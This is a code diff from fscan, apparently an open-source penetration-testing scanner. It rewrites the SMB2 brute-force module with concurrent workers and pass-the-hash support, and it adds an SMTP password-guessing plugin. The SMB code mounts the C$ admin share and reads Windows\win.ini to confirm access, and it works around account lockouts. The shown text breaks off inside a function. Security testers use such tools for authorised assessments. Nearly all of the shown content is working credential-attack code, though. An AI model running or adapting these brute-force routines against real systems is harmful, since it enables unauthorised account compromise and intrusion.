len(Common.Userdict["smb"]), len(Common.Passwords), len(credentials)))
|
||||||
|
|
||||||
|
// 使用工作池并发扫描
|
||||||
|
return concurrentSmb2Scan(ctx, info, credentials)
|
||||||
}
|
}
|
||||||
|
|
||||||
// logSuccessfulAuth 记录成功的认证
|
// smbHashScan 使用哈希进行SMB2认证扫描
|
||||||
func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
|
func smbHashScan(ctx context.Context, info *Common.HostInfo) error {
|
||||||
var result string
|
if Common.DisableBrute {
|
||||||
if Common.Domain != "" {
|
return nil
|
||||||
result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v Domain:%v\\%v ",
|
|
||||||
info.Host, info.Ports, Common.Domain, user)
|
|
||||||
} else {
|
|
||||||
result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v User:%v ",
|
|
||||||
info.Host, info.Ports, user)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(hash) > 0 {
|
// 构建凭据列表
|
||||||
result += fmt.Sprintf("Hash:%v", Common.Hash)
|
var credentials []Smb2Credential
|
||||||
} else {
|
for _, user := range Common.Userdict["smb"] {
|
||||||
result += fmt.Sprintf("Pass:%v", pass)
|
for _, hash := range Common.HashBytes {
|
||||||
|
credentials = append(credentials, Smb2Credential{
|
||||||
|
Username: user,
|
||||||
|
Password: "",
|
||||||
|
Hash: hash,
|
||||||
|
IsHash: true,
|
||||||
|
})
|
||||||
|
}
|
||||||
}
|
}
|
||||||
Common.LogSuccess(result)
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始SMB2哈希认证扫描 (总用户数: %d, 总哈希数: %d, 总组合数: %d)",
|
||||||
|
len(Common.Userdict["smb"]), len(Common.HashBytes), len(credentials)))
|
||||||
|
|
||||||
|
// 使用工作池并发扫描
|
||||||
|
return concurrentSmb2Scan(ctx, info, credentials)
|
||||||
}
|
}
|
||||||
|
|
||||||
// logFailedAuth 记录失败的认证
|
// concurrentSmb2Scan 并发扫描SMB2服务
|
||||||
func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) {
|
func concurrentSmb2Scan(ctx context.Context, info *Common.HostInfo, credentials []Smb2Credential) error {
|
||||||
var errlog string
|
// 使用ModuleThreadNum控制并发数
|
||||||
if len(hash) > 0 {
|
maxConcurrent := Common.ModuleThreadNum
|
||||||
errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Hash:%v Err:%v",
|
if maxConcurrent <= 0 {
|
||||||
info.Host, info.Ports, user, Common.Hash, err)
|
maxConcurrent = 10 // 默认值
|
||||||
} else {
|
}
|
||||||
errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Pass:%v Err:%v",
|
if maxConcurrent > len(credentials) {
|
||||||
info.Host, info.Ports, user, pass, err)
|
maxConcurrent = len(credentials)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建工作池
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
resultChan := make(chan *Smb2ScanResult, 1)
|
||||||
|
workChan := make(chan Smb2Credential, maxConcurrent)
|
||||||
|
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||||
|
defer scanCancel()
|
||||||
|
|
||||||
|
// 记录共享信息是否已打印和锁定的用户
|
||||||
|
var (
|
||||||
|
sharesPrinted bool
|
||||||
|
lockedUsers = make(map[string]bool)
|
||||||
|
mutex sync.Mutex
|
||||||
|
)
|
||||||
|
|
||||||
|
// 启动工作协程
|
||||||
|
for i := 0; i < maxConcurrent; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
for credential := range workChan {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
// 检查用户是否已锁定
|
||||||
|
mutex.Lock()
|
||||||
|
locked := lockedUsers[credential.Username]
|
||||||
|
currentSharesPrinted := sharesPrinted
|
||||||
|
mutex.Unlock()
|
||||||
|
|
||||||
|
if locked {
|
||||||
|
Common.LogDebug(fmt.Sprintf("跳过已锁定用户: %s", credential.Username))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 尝试凭据
|
||||||
|
result := trySmb2Credential(scanCtx, info, credential, currentSharesPrinted)
|
||||||
|
|
||||||
|
// 更新共享信息打印状态
|
||||||
|
if result.Shares != nil && len(result.Shares) > 0 && !currentSharesPrinted {
|
||||||
|
mutex.Lock()
|
||||||
|
sharesPrinted = true
|
||||||
|
mutex.Unlock()
|
||||||
|
|
||||||
|
// 打印共享信息
|
||||||
|
logShareInfo(info, credential.Username, credential.Password, credential.Hash, result.Shares)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查认证成功
|
||||||
|
if result.Success {
|
||||||
|
select {
|
||||||
|
case resultChan <- result:
|
||||||
|
scanCancel() // 找到有效凭据,取消其他工作
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查账户锁定
|
||||||
|
if result.Error != nil {
|
||||||
|
errMsg := result.Error.Error()
|
||||||
|
if strings.Contains(errMsg, "account has been automatically locked") ||
|
||||||
|
strings.Contains(errMsg, "account has been locked") ||
|
||||||
|
strings.Contains(errMsg, "user account has been automatically locked") {
|
||||||
|
|
||||||
|
mutex.Lock()
|
||||||
|
lockedUsers[credential.Username] = true
|
||||||
|
mutex.Unlock()
|
||||||
|
|
||||||
|
Common.LogError(fmt.Sprintf("用户 %s 已被锁定", credential.Username))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送工作
|
||||||
|
go func() {
|
||||||
|
for i, cred := range credentials {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
break
|
||||||
|
default:
|
||||||
|
// 检查用户是否已锁定
|
||||||
|
mutex.Lock()
|
||||||
|
locked := lockedUsers[cred.Username]
|
||||||
|
mutex.Unlock()
|
||||||
|
|
||||||
|
if locked {
|
||||||
|
continue // 跳过已锁定用户
|
||||||
|
}
|
||||||
|
|
||||||
|
if cred.IsHash {
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s Hash:%s",
|
||||||
|
i+1, len(credentials), cred.Username, Common.HashValue))
|
||||||
|
} else {
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s",
|
||||||
|
i+1, len(credentials), cred.Username, cred.Password))
|
||||||
|
}
|
||||||
|
|
||||||
|
workChan <- cred
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(workChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或完成
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
close(resultChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 获取结果,考虑全局超时
|
||||||
|
select {
|
||||||
|
case result, ok := <-resultChan:
|
||||||
|
if ok && result != nil && result.Success {
|
||||||
|
// 记录成功结果
|
||||||
|
logSuccessfulAuth(info, result.Credential.Username,
|
||||||
|
result.Credential.Password, result.Credential.Hash)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("SMB2扫描全局超时")
|
||||||
|
scanCancel() // 确保取消所有未完成工作
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
}
|
}
|
||||||
errlog = strings.ReplaceAll(errlog, "\n", " ")
|
|
||||||
Common.LogError(errlog)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// shouldStopScan 检查是否应该停止扫描
|
// trySmb2Credential 尝试单个SMB2凭据
|
||||||
func shouldStopScan(err error, startTime int64, totalAttempts int) bool {
|
func trySmb2Credential(ctx context.Context, info *Common.HostInfo, credential Smb2Credential, hasprint bool) *Smb2ScanResult {
|
||||||
if Common.CheckErrs(err) {
|
// 创建单个连接超时上下文
|
||||||
return true
|
connCtx, cancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
|
||||||
}
|
defer cancel()
|
||||||
|
|
||||||
if time.Now().Unix()-startTime > (int64(totalAttempts) * Common.Timeout) {
|
// 在协程中尝试连接
|
||||||
return true
|
resultChan := make(chan struct {
|
||||||
}
|
success bool
|
||||||
|
shares []string
|
||||||
|
err error
|
||||||
|
}, 1)
|
||||||
|
|
||||||
return false
|
go func() {
|
||||||
|
success, err, shares := Smb2Con(connCtx, info, credential.Username,
|
||||||
|
credential.Password, credential.Hash, hasprint)
|
||||||
|
|
||||||
|
select {
|
||||||
|
case <-connCtx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
shares []string
|
||||||
|
err error
|
||||||
|
}{success, shares, err}:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或超时
|
||||||
|
select {
|
||||||
|
case result := <-resultChan:
|
||||||
|
if result.success {
|
||||||
|
return &Smb2ScanResult{
|
||||||
|
Success: true,
|
||||||
|
Credential: credential,
|
||||||
|
Shares: result.shares,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 失败时记录错误
|
||||||
|
if result.err != nil {
|
||||||
|
logFailedAuth(info, credential.Username, credential.Password, credential.Hash, result.err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return &Smb2ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: result.err,
|
||||||
|
Credential: credential,
|
||||||
|
Shares: result.shares,
|
||||||
|
}
|
||||||
|
|
||||||
|
case <-connCtx.Done():
|
||||||
|
if ctx.Err() != nil {
|
||||||
|
// 全局超时
|
||||||
|
return &Smb2ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: ctx.Err(),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 单个连接超时
|
||||||
|
err := fmt.Errorf("连接超时")
|
||||||
|
logFailedAuth(info, credential.Username, credential.Password, credential.Hash, err)
|
||||||
|
return &Smb2ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: err,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Smb2Con 尝试SMB2连接并进行认证,检查共享访问权限
|
// Smb2Con 尝试SMB2连接并进行认证,检查共享访问权限
|
||||||
func Smb2Con(info *Common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
|
func Smb2Con(ctx context.Context, info *Common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, shares []string) {
|
||||||
// 建立TCP连接
|
// 建立TCP连接,使用socks代理支持
|
||||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:445", info.Host),
|
conn, err := Common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:445", info.Host), time.Duration(Common.Timeout)*time.Second)
|
||||||
time.Duration(Common.Timeout)*time.Second)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false, fmt.Errorf("连接失败: %v", err), false
|
return false, fmt.Errorf("连接失败: %v", err), nil
|
||||||
}
|
}
|
||||||
defer conn.Close()
|
defer conn.Close()
|
||||||
|
|
||||||
@@ -159,66 +337,155 @@ func Smb2Con(info *Common.HostInfo, user string, pass string, hash []byte, haspr
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 创建SMB2会话
|
// 创建SMB2会话
|
||||||
d := &smb2.Dialer{
|
dialer := &smb2.Dialer{
|
||||||
Initiator: &initiator,
|
Initiator: &initiator,
|
||||||
}
|
}
|
||||||
session, err := d.Dial(conn)
|
|
||||||
|
// 使用context设置超时
|
||||||
|
session, err := dialer.Dial(conn)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false, fmt.Errorf("SMB2会话建立失败: %v", err), false
|
return false, fmt.Errorf("SMB2会话建立失败: %v", err), nil
|
||||||
}
|
}
|
||||||
defer session.Logoff()
|
defer session.Logoff()
|
||||||
|
|
||||||
// 获取共享列表
|
// 检查上下文是否已取消
|
||||||
shares, err := session.ListSharenames()
|
select {
|
||||||
if err != nil {
|
case <-ctx.Done():
|
||||||
return false, fmt.Errorf("获取共享列表失败: %v", err), false
|
return false, ctx.Err(), nil
|
||||||
|
default:
|
||||||
}
|
}
|
||||||
|
|
||||||
// 打印共享信息(如果未打印过)
|
// 获取共享列表
|
||||||
if !hasprint {
|
sharesList, err := session.ListSharenames()
|
||||||
logShareInfo(info, user, pass, hash, shares)
|
if err != nil {
|
||||||
flag2 = true
|
return false, fmt.Errorf("获取共享列表失败: %v", err), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 再次检查上下文是否已取消
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return false, ctx.Err(), sharesList
|
||||||
|
default:
|
||||||
}
|
}
|
||||||
|
|
||||||
// 尝试访问C$共享以验证管理员权限
|
// 尝试访问C$共享以验证管理员权限
|
||||||
fs, err := session.Mount("C$")
|
fs, err := session.Mount("C$")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false, fmt.Errorf("挂载C$失败: %v", err), flag2
|
return false, fmt.Errorf("挂载C$失败: %v", err), sharesList
|
||||||
}
|
}
|
||||||
defer fs.Umount()
|
defer fs.Umount()
|
||||||
|
|
||||||
|
// 最后检查上下文是否已取消
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return false, ctx.Err(), sharesList
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
// 尝试读取系统文件以验证权限
|
// 尝试读取系统文件以验证权限
|
||||||
path := `Windows\win.ini`
|
path := `Windows\win.ini`
|
||||||
f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
|
f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false, fmt.Errorf("访问系统文件失败: %v", err), flag2
|
return false, fmt.Errorf("访问系统文件失败: %v", err), sharesList
|
||||||
}
|
}
|
||||||
defer f.Close()
|
defer f.Close()
|
||||||
|
|
||||||
return true, nil, flag2
|
return true, nil, sharesList
|
||||||
|
}
|
||||||
|
|
||||||
|
// logSuccessfulAuth 记录成功的认证
|
||||||
|
func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
|
||||||
|
credential := pass
|
||||||
|
if len(hash) > 0 {
|
||||||
|
credential = Common.HashValue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 保存认证成功结果
|
||||||
|
result := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "success",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "smb2",
|
||||||
|
"username": user,
|
||||||
|
"domain": Common.Domain,
|
||||||
|
"type": "weak-auth",
|
||||||
|
"credential": credential,
|
||||||
|
"auth_type": map[bool]string{true: "hash", false: "password"}[len(hash) > 0],
|
||||||
|
},
|
||||||
|
}
|
||||||
|
Common.SaveResult(result)
|
||||||
|
|
||||||
|
// 控制台输出
|
||||||
|
var msg string
|
||||||
|
if Common.Domain != "" {
|
||||||
|
msg = fmt.Sprintf("SMB2认证成功 %s:%s %s\\%s", info.Host, info.Ports, Common.Domain, user)
|
||||||
|
} else {
|
||||||
|
msg = fmt.Sprintf("SMB2认证成功 %s:%s %s", info.Host, info.Ports, user)
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(hash) > 0 {
|
||||||
|
msg += fmt.Sprintf(" Hash:%s", Common.HashValue)
|
||||||
|
} else {
|
||||||
|
msg += fmt.Sprintf(" Pass:%s", pass)
|
||||||
|
}
|
||||||
|
Common.LogSuccess(msg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// logFailedAuth 记录失败的认证
|
||||||
|
func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) {
|
||||||
|
var errlog string
|
||||||
|
if len(hash) > 0 {
|
||||||
|
errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s Hash:%s %v",
|
||||||
|
info.Host, info.Ports, user, Common.HashValue, err)
|
||||||
|
} else {
|
||||||
|
errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s:%s %v",
|
||||||
|
info.Host, info.Ports, user, pass, err)
|
||||||
|
}
|
||||||
|
errlog = strings.ReplaceAll(errlog, "\n", " ")
|
||||||
|
Common.LogError(errlog)
|
||||||
}
|
}
|
||||||
|
|
||||||
// logShareInfo 记录SMB共享信息
|
// logShareInfo 记录SMB共享信息
|
||||||
func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) {
|
func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) {
|
||||||
var result string
|
credential := pass
|
||||||
|
|
||||||
// 构建基础信息
|
|
||||||
if Common.Domain != "" {
|
|
||||||
result = fmt.Sprintf("[*] SMB2共享信息 %v:%v Domain:%v\\%v ",
|
|
||||||
info.Host, info.Ports, Common.Domain, user)
|
|
||||||
} else {
|
|
||||||
result = fmt.Sprintf("[*] SMB2共享信息 %v:%v User:%v ",
|
|
||||||
info.Host, info.Ports, user)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 添加认证信息
|
|
||||||
if len(hash) > 0 {
|
if len(hash) > 0 {
|
||||||
result += fmt.Sprintf("Hash:%v ", Common.Hash)
|
credential = Common.HashValue
|
||||||
} else {
|
|
||||||
result += fmt.Sprintf("Pass:%v ", pass)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 添加共享列表
|
// 保存共享信息结果
|
||||||
result += fmt.Sprintf("可用共享: %v", shares)
|
result := &Common.ScanResult{
|
||||||
Common.LogSuccess(result)
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "shares-found",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "smb2",
|
||||||
|
"username": user,
|
||||||
|
"domain": Common.Domain,
|
||||||
|
"shares": shares,
|
||||||
|
"credential": credential,
|
||||||
|
"auth_type": map[bool]string{true: "hash", false: "password"}[len(hash) > 0],
|
||||||
|
},
|
||||||
|
}
|
||||||
|
Common.SaveResult(result)
|
||||||
|
|
||||||
|
// 控制台输出
|
||||||
|
var msg string
|
||||||
|
if Common.Domain != "" {
|
||||||
|
msg = fmt.Sprintf("SMB2共享信息 %s:%s %s\\%s", info.Host, info.Ports, Common.Domain, user)
|
||||||
|
} else {
|
||||||
|
msg = fmt.Sprintf("SMB2共享信息 %s:%s %s", info.Host, info.Ports, user)
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(hash) > 0 {
|
||||||
|
msg += fmt.Sprintf(" Hash:%s", Common.HashValue)
|
||||||
|
} else {
|
||||||
|
msg += fmt.Sprintf(" Pass:%s", pass)
|
||||||
|
}
|
||||||
|
msg += fmt.Sprintf(" 共享:%v", shares)
|
||||||
|
Common.LogBase(msg)
|
||||||
}
|
}
|
||||||
|
|||||||
+325
@@ -0,0 +1,325 @@
|
|||||||
|
package Plugins
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"net/smtp"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
)
|
||||||
|
|
||||||
|
// SmtpCredential 表示一个SMTP凭据
|
||||||
|
type SmtpCredential struct {
|
||||||
|
Username string
|
||||||
|
Password string
|
||||||
|
}
|
||||||
|
|
||||||
|
// SmtpScanResult 表示SMTP扫描结果
|
||||||
|
type SmtpScanResult struct {
|
||||||
|
Success bool
|
||||||
|
Error error
|
||||||
|
Credential SmtpCredential
|
||||||
|
IsAnonymous bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// SmtpScan 执行 SMTP 服务扫描
|
||||||
|
func SmtpScan(info *Common.HostInfo) error {
|
||||||
|
if Common.DisableBrute {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||||
|
|
||||||
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 先测试匿名访问
|
||||||
|
Common.LogDebug("尝试匿名访问...")
|
||||||
|
anonymousResult := trySmtpCredential(ctx, info, SmtpCredential{"", ""}, Common.Timeout, Common.MaxRetries)
|
||||||
|
|
||||||
|
if anonymousResult.Success {
|
||||||
|
// 匿名访问成功
|
||||||
|
saveSmtpResult(info, target, anonymousResult)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 构建凭据列表
|
||||||
|
var credentials []SmtpCredential
|
||||||
|
for _, user := range Common.Userdict["smtp"] {
|
||||||
|
for _, pass := range Common.Passwords {
|
||||||
|
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||||
|
credentials = append(credentials, SmtpCredential{
|
||||||
|
Username: user,
|
||||||
|
Password: actualPass,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||||
|
len(Common.Userdict["smtp"]), len(Common.Passwords), len(credentials)))
|
||||||
|
|
||||||
|
// 使用工作池并发扫描
|
||||||
|
result := concurrentSmtpScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||||
|
if result != nil {
|
||||||
|
// 记录成功结果
|
||||||
|
saveSmtpResult(info, target, result)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否因为全局超时而退出
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("SMTP扫描全局超时")
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// concurrentSmtpScan 并发扫描SMTP服务
|
||||||
|
func concurrentSmtpScan(ctx context.Context, info *Common.HostInfo, credentials []SmtpCredential, timeoutSeconds int64, maxRetries int) *SmtpScanResult {
|
||||||
|
// 使用ModuleThreadNum控制并发数
|
||||||
|
maxConcurrent := Common.ModuleThreadNum
|
||||||
|
if maxConcurrent <= 0 {
|
||||||
|
maxConcurrent = 10 // 默认值
|
||||||
|
}
|
||||||
|
if maxConcurrent > len(credentials) {
|
||||||
|
maxConcurrent = len(credentials)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建工作池
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
resultChan := make(chan *SmtpScanResult, 1)
|
||||||
|
workChan := make(chan SmtpCredential, maxConcurrent)
|
||||||
|
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||||
|
defer scanCancel()
|
||||||
|
|
||||||
|
// 启动工作协程
|
||||||
|
for i := 0; i < maxConcurrent; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
for credential := range workChan {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
result := trySmtpCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||||
|
if result.Success {
|
||||||
|
select {
|
||||||
|
case resultChan <- result:
|
||||||
|
scanCancel() // 找到有效凭据,取消其他工作
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送工作
|
||||||
|
go func() {
|
||||||
|
for i, cred := range credentials {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
break
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||||
|
workChan <- cred
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(workChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或完成
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
close(resultChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 获取结果,考虑全局超时
|
||||||
|
select {
|
||||||
|
case result, ok := <-resultChan:
|
||||||
|
if ok && result != nil && result.Success {
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("SMTP并发扫描全局超时")
|
||||||
|
scanCancel() // 确保取消所有未完成工作
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// trySmtpCredential 尝试单个SMTP凭据
|
||||||
|
func trySmtpCredential(ctx context.Context, info *Common.HostInfo, credential SmtpCredential, timeoutSeconds int64, maxRetries int) *SmtpScanResult {
|
||||||
|
var lastErr error
|
||||||
|
|
||||||
|
for retry := 0; retry < maxRetries; retry++ {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return &SmtpScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("全局超时"),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if retry > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||||
|
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建连接超时上下文
|
||||||
|
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||||
|
|
||||||
|
// 在协程中尝试连接
|
||||||
|
resultChan := make(chan struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}, 1)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
success, err := SmtpConn(info, credential.Username, credential.Password, timeoutSeconds)
|
||||||
|
select {
|
||||||
|
case <-connCtx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{success, err}:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或超时
|
||||||
|
var success bool
|
||||||
|
var err error
|
||||||
|
|
||||||
|
select {
|
||||||
|
case result := <-resultChan:
|
||||||
|
success = result.success
|
||||||
|
err = result.err
|
||||||
|
case <-connCtx.Done():
|
||||||
|
cancel()
|
||||||
|
if ctx.Err() != nil {
|
||||||
|
// 全局超时
|
||||||
|
return &SmtpScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: ctx.Err(),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 单个连接超时
|
||||||
|
err = fmt.Errorf("连接超时")
|
||||||
|
}
|
||||||
|
|
||||||
|
cancel() // 释放连接上下文
|
||||||
|
|
||||||
|
if success {
|
||||||
|
isAnonymous := credential.Username == "" && credential.Password == ""
|
||||||
|
return &SmtpScanResult{
|
||||||
|
Success: true,
|
||||||
|
Credential: credential,
|
||||||
|
IsAnonymous: isAnonymous,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
lastErr = err
|
||||||
|
if err != nil {
|
||||||
|
// 检查是否需要重试
|
||||||
|
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||||
|
break // 不需要重试的错误
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &SmtpScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: lastErr,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// SmtpConn 尝试 SMTP 连接
|
||||||
|
func SmtpConn(info *Common.HostInfo, user string, pass string, timeoutSeconds int64) (bool, error) {
|
||||||
|
host, port := info.Host, info.Ports
|
||||||
|
timeout := time.Duration(timeoutSeconds) * time.Second
|
||||||
|
addr := fmt.Sprintf("%s:%s", host, port)
|
||||||
|
|
||||||
|
// 设置连接超时
|
||||||
|
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
// 设置读写超时
|
||||||
|
conn.SetDeadline(time.Now().Add(timeout))
|
||||||
|
|
||||||
|
client, err := smtp.NewClient(conn, host)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
defer client.Close()
|
||||||
|
|
||||||
|
// 尝试认证
|
||||||
|
if user != "" {
|
||||||
|
auth := smtp.PlainAuth("", user, pass, host)
|
||||||
|
err = client.Auth(auth)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 尝试发送邮件(测试权限)
|
||||||
|
err = client.Mail("[email protected]")
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return true, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// saveSmtpResult 保存SMTP扫描结果
|
||||||
|
func saveSmtpResult(info *Common.HostInfo, target string, result *SmtpScanResult) {
|
||||||
|
var successMsg string
|
||||||
|
var details map[string]interface{}
|
||||||
|
|
||||||
|
if result.IsAnonymous {
|
||||||
|
